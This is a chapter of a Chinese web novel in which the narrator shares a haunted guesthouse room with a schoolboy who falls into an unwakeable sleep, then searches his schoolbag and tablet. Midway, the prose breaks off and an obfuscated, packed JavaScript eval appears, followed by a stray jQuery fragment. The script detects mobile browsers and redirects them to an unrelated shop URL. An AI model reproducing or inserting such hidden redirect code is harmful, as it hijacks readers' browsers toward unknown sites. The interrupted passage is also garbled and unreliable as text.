面对我的提问，林见秋的反应像个标准的正常人。
他进行了一次相当标准的自我欺骗。
少年抱着书包坐在沙发上，神情惴惴不安，目光在我脸上短暂停留片刻，很快又落回膝盖。他的手指无意识地攥紧书包边缘，将布料压出几道明显的褶皱。
“有没有可能……”他迟疑着开口，“只是恶作剧之类的？”
我没有说话。
林见秋抬眼看了我一下，又迅速低下头，继续替眼前发生的一切寻找合理解释。
“就像整人节目里演的那样。提前布置好场地，再安排一些人配合。外面的路、这栋楼，还有老板说的那些话……也许都是设计好的。”
说得很好。
逻辑完整，态度保守，充分体现了一名现代社会正常公民在面对异常现象时，努力维护唯物主义世界观的坚定决心。
可惜他故作镇定得实在不太熟练。
声音比平时更轻，眼神不敢看我，肩膀也绷得有些僵。与其说他相信这里是某档成本高到离谱的整人节目，不如说他希望我相信他相信这里是整人节目——总之就是相信相信的力量。
我朝他露出了一个十分温和的笑容。
“很好。”
林见秋怔了一下。
“能够坚定自己的世界观，并且对所有不能理解的东西保持怀疑，是件好事。”我说，“遇见问题，先考虑是不是恶作剧、精神疾病或者有人装神弄鬼，这种思路很健康，很标准。”
他大概没想到我会赞同，抬起眼睛看向我。
我继续补充：“只要别像鬼片里那些人一样，一边大喊‘世界上怎么可能有鬼’，一边非要单独行动，哪里黑往哪里钻，听见动静还主动把脸贴到门缝上，各种做死就行。”
林见秋沉默了一会儿。
“……我会小心的。”
态度还挺诚恳。
我对林见秋的安危很放心。
毕竟他一看就是高级鬼。
虽然暂时还不知道为什么这只高级鬼表现得如此正常，甚至正常到会因为和异性住同一个房间脸红，但异常生物拥有一些复杂的触发条件也很合理。
可能是双重人格。
可能需要特定环境。
可能要等月圆、下雨、受伤、情绪崩溃或者有人喊出某句关键台词，才会突然变成另外一种形态。
管他呢。
与其让他在我看不见的地方触发设定、突然变异，不如放在眼皮底下盯着，更让人安心。
毕竟主角是不可能远离事件漩涡的。把握主动权才是我的风格。
我今天已经在雨里跑了一遭，衣服湿了又干，干了又被汗和雨水浸得发黏，浑身上下都不舒服。
卫生间里有热水。
这个诱惑很大。
可只要想到洗完澡以后没有干净衣服可换，最后还是得把这身脏衣服重新套回去，我立刻失去了洗澡的动力。
虽然人生第一次正式撞鬼住进高端鬼宅，但我的建议很朴实，就是睡觉。
现在差不多快到十一点半。
早上七点醒的话，躺下去稍微酝酿一会儿，还能睡上七个多小时。这个时长虽然不算健康，但放在撞鬼的夜晚，已经称得上养生。
当然，两个人不能同时睡。
老板特意提醒过晚上会有员工清理脏东西。无论“员工”和“脏东西”分别指什么，今晚大概都不会太安静。
我看向林见秋。
“你睡上半夜，我睡下半夜。”
他安静地等我继续安排。
“一个人睡觉，一个人守夜。凌晨三点我叫你起来换班。”
林见秋很老实地点头。
“好。”
他没有争论谁先睡，也没有客气地表示让我先休息。
这性格做队员算得上省心。
林见秋站起身，走到深色衣柜前，将柜门打开。里面果然放着老板说的备用床铺，叠得整整齐齐，被褥上闻不到潮气，甚至还带着一股很淡的、像是晒过太阳的味道。
这股味道出现在一家鬼民宿里，未免有些过于阳间。
他把被褥抱出来，先将沙发前的矮茶几移到一旁，随后蹲在地上，认真地铺起了床。
他的动作很熟练。
床垫展开，床单铺平，被角压好。最后又把枕头摆正，连表面的一点褶皱都顺手抚平。
做完这些，他把书包放在小沙发旁边的地上，脱掉鞋，便准备在地铺上躺下。
我伸手拦住了他。
林见秋的动作停住，疑惑地看向我。
我指了指旁边那张宽大柔软的床。
“反正我们是轮流睡，你直接睡床。”
“可是……我的衣服很脏。”
我看着他，脸上缓缓露出了一些麻木而死气沉沉的微笑。
“我们都撞鬼了。”我呵呵了两声，“您还在乎这个？”
林见秋不说话了。
这个理由显然十分具有说服力。
他没有继续推辞，麻利地脱了鞋，走到床边掀开被子，钻进被窝。整个过程老实得像一名已经被家长安排好作息的小学生。
头沾上枕头。
被子拉到胸口。
眼睛闭上。
下一秒，他的脑袋刷地往旁边一歪。
轻微的鼾声随即响了起来。
我坐在床边，看着他。
“……”
不好。
非常不好。
陌生的环境，陌生的房间，外面可能存在夜间捕食的怪物，楼下还站着一个怎么看都不像正常人的老板。
正常人哪有在这种高压状态下头一沾枕头就睡着的？
就算林见秋已经疲惫到了极点，对我如慈母般放心，也不应该这么快。
这已经不是入睡。
这是关机。
我立刻俯下身，伸手抓住他的肩膀。
“林见秋？”
没有反应。
我用力摇了两下。
“醒醒。”
他的脑袋随着我的动作左右晃动，眼睛依旧紧闭，呼吸平稳，鼾声甚至没有停止。
我加大了力气。
“林见秋，林见秋！”
还是没反应。
如果他是装睡，那这决心也太大了。
我怀疑是床的问题。
毕竟这张床看上去就很柔软、很舒适、很干净，非常适合睡觉。优质得诡异。放在这里很可能意味着它的主要功能是把客人彻底黏死在上面。
我掀开被子，抓住林见秋的胳膊，试图把他从床上拖下来。
好家伙。
死沉。
明明平时看起来瘦得一阵风都能吹走，失去意识以后却像突然灌了铅。我用上两只手，费了不少力气，才把他一点点拖到床边。
好在我独自生活了这么多年，搬过水，扛过快递，组装过家具，有的是力气。
林见秋从床沿滑下来，被我接住上半身，最后平稳落到地铺上。
我良心很好，没有让他的脑袋直接磕地。
把人拖到地铺后，我跨坐在他身上，又抓着他的肩膀又是一阵摇晃。
“林见秋。”
“醒醒。”
“着火了。”
“明天不上学。”
“你考试迟到了。”
全都没用。
他的呼吸依然均匀，睡得像死了。
我伸出手，掐住他的人中用力按了一会儿。
没反应。
原谅我不舍得扇他的脸。
这张脸就算不具备异常吸引力，也实在让人很难下手。
但总之，我已经努力了。
折腾半天以后，我停下动作，坐在他身上陷入思考。
床不是问题。
至少不完全是。
林见秋被我拖到地铺上以后，仍然没有醒来的迹象。
真正有问题的，可能是“睡”这个动作本身。
只要在这家店里产生明确的睡眠意图，躺下、闭眼，或者符合某些条件，人便会立刻进入无法被唤醒的深度睡眠。
不过，林见秋睡着应该没有危险。
老板当时的原话是：“睡眠很重要，每个人都需要好好休息。”
足以见得睡眠是好的。
必要的。
安全的。
有益身心健康的。
老实睡觉，大概率能够平安度过今晚。
代价是少掉一些本来可能得到的线索。
我低头看着身下毫无反应的林见秋。
平时的我并不是一个拥有赌徒心态的人。
我不买彩票，不碰高风险投资，买东西也习惯反复比价。遇到无法确定的危险，通常会优先选择收益最低、但也最稳妥的方案。
可最近，我觉得自己多少有些上头。
我不会好好睡觉。
但是——
我从林见秋身上下来，盘腿坐在地铺旁。
现在林见秋已经睡死了。
我的手机又被留在门外负责录像。
房间里没有电视，没有电脑，也没有任何能够打发时间的娱乐设施。
这么寂寞的夜晚，我得一个人守完整整七个多小时。
想到这里，我感到了些许绝望。
我看了一眼林见秋放在沙发旁的书包。
高中生的书包里通常都会有纸和笔。
我可以给自己画几张数独，靠漫游在数学的海洋里熬过这个漫长的夜晚。
虽然私自翻别人的书包很没品，也很没有道德，但相信心地善良的小林同学醒来以后一定会谅解我。
我把他的书包拿过来，放在腿上，拉开拉链。
同样的。翻都翻了。
我也不是什么好人。
正好调查一下林见秋这个人。
我动作很轻，小心地把里面的东西一件件拿出来打量，尽量保持原来的位置和顺序，不给他弄乱。
他的书包整理得十分干净。
干净得不像一个男高中生。
至少我上高中的时候，书包里面绝对乱得一塌糊涂。试卷和练习册卷在一起，草稿本和练习本长一个样，神秘的通知单偶尔能在底层躺上半个月。
运气不好，还会翻出一支不知道什么时候塞进去的漏墨的笔，把半个书包染成抽象艺术。
林见秋的书包里没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745282|209266||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有这些。
最里面整齐地放着几本课本。
课本外面都包着透明书皮，边角平整，看得出主人对待书本很认真。可无论是纸张的触感、书脊的硬度，还是内页留下的使用痕迹，都显得太新了。
每一本都是。
哪怕最常使用的教材，书页也没有明显卷边，封面没有磨损，内页更找不到长期翻阅以后留下的折痕。
不像是用了两三年的东西。更像刚买回来不久。
看来林见秋在学校过得确实不怎么样。
课本近期大概被人撕毁、涂改或者直接扔掉过，所以只能重新换一套新的。
怪不得他之前的书包里会装着被撕碎的东西。
除去课本，书包里体积最明显的是一台平板电脑。
款式已经有些老了。
即使外面套着保护壳，能够看出主人一直很爱惜地使用，边缘依然留下了肉眼可见的磨损，几个经常接触的位置已经掉漆。
屏幕表面倒是很干净。
我按了一下电源键。
需要指纹解锁。
我转头看向躺在地铺上的林见秋。
“借用一下。”
他没有反对。
沉默有时候就是默认。
我抓起他的手，依次尝试了几根手指。试到右手食指时，屏幕顺利亮了起来。
桌面很简洁。
自主安装的软件少得可怜。
除了一款聊天软件，便只有一个学习软件。
很符合林见秋给人的印象。
我对他最后的怜惜让我没有去看聊天软件。他聊天软件是什么德行我也能猜个大概。
我点开了学习软件。
里面保存着课件、习题、试卷和考试成绩。
科技确实发展了。
现在的孩子只要带一台平板，就可以把多到足以压死人的试卷全部ZIP成一个看不见重量的文件包。
虽然现在的孩子也有可能不知道ZIP是什么。
我随手点开几个文件。
课件按照科目分类，文件名清晰，下载时间也排列得整整齐齐。练习题大多已经完成，部分卷子后面还附带批改结果。
继续往下翻，我找到了林见秋从高一到高三的成绩记录。
很漂亮。
而且漂亮得十分稳定。
不只是偶尔某次考试发挥好，而是各科成绩长期维持在年级前列。即使偶尔出现波动，也只是从非常高变成稍微没那么高。
足够吊打我高中时期。
考虑到他平时还要抽出大量时间被霸凌，课本和作业随时可能遭到破坏，在这种环境下仍然能保持这样的成绩，已经强得有些恐怖。
穷穷的。
脾气软软的。
成绩好好的。
再加上一张过分显眼的脸。
标准的软柿子，也是校园霸凌中的热门选手。
至于林见秋为什么会形成这种性格，从他讲给老板的故事里，大概也能找到一部分原因。
爹不疼，娘不爱。
悲惨的原生家庭。
当时我讲故事讲得太快，某种程度上算是变相给了他压力。林见秋本身就是那种被人看一眼都容易紧张、很难拒绝的性格。
人在高压状态下，很难立刻编造出一套完全陌生、结构完整的故事。
最容易脱口而出的，往往是自己印象最深刻的事情。
也就是说，林见秋故事里的少年，大概率就是他自己。
而故事中父母对少年的态度，很可能正是他真正的心结。
更何况老板的要求本身也是一种提示。
来源于现实。但又不同于现实。
我讲的是一个可能发生的未来。
未来天然没有确定性，无论最后是否实现，都可以被称作不同于现实。所以我的故事参考价值有限，很难通过它反推出哪部分是真、哪部分是假。
可林见秋讲的，是已经发生的事情。
过去是确定的。
想让一个取材于过去的故事“不同于现实”，就必须主动修改其中至少一部分内容。
于是，故事里最关键的三个要素便能够被拆开。
林见秋是不是少年。
父母是不是真的对他冷漠。
父母是不是鬼。
这三项里，有的可能是真的，有的可能是假的，也可能每一项都只真实了一部分。
排列组合一下，足够得到好几个版本。
但线索指向了下一个关键——他的父母。
继续翻找时，我在书包侧层摸到了一张硬质卡片。
拿出来一看，是林见秋的身份证。
也许是证件照自带的丑化能力，身份证上的少年对我来说没有现实中那么致命。
但还是很漂亮。
五官被过于平直的光线压掉了一部分立体感，表情也显得拘谨，眼睛安静地望着镜头，像是拍照时有人在旁边要求他不要乱动。
我看向地址栏。
那是一处位于我家附近的廉租公寓。
离我的住处不算远。
我盯着那串地址看了几秒，将它默默记了下来。